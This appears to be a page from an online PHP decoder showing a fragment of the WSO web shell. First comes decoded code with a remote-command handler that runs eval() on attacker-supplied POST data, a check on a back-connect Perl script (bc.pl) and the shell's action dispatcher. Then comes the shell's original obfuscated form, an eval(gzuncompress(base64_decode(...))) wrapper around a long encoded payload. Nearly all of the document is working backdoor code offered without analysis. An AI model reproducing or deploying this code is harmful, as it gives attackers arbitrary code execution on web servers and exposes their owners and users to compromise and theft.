" .wsoEx("ps aux | grep bc.pl") ."</pre>";unlink("/tmp/bc.pl");}}echo '</div>';wsoFooter();}function actionRC(){if(!@$_POST['p1']){$a=array("uname"=> php_uname(),"php_version"=> phpversion(),"wso_version"=> WSO_VERSION,"safemode"=>@ini_get('safe_mode'));echo serialize($a);}else{eval($_POST['p1']);}}if(empty($_POST['a']))if(isset($default_action)&& function_exists('action' .$default_action))$_POST['a']=$default_action;else $_POST['a']='SecInfo';if(!empty($_POST['a'])&& function_exists('action' .$_POST['a']))call_user_func('action' .$_POST['a']);exit;
Did this file decode correctly?
Original Code
<? eval(gzuncompress(base64_decode('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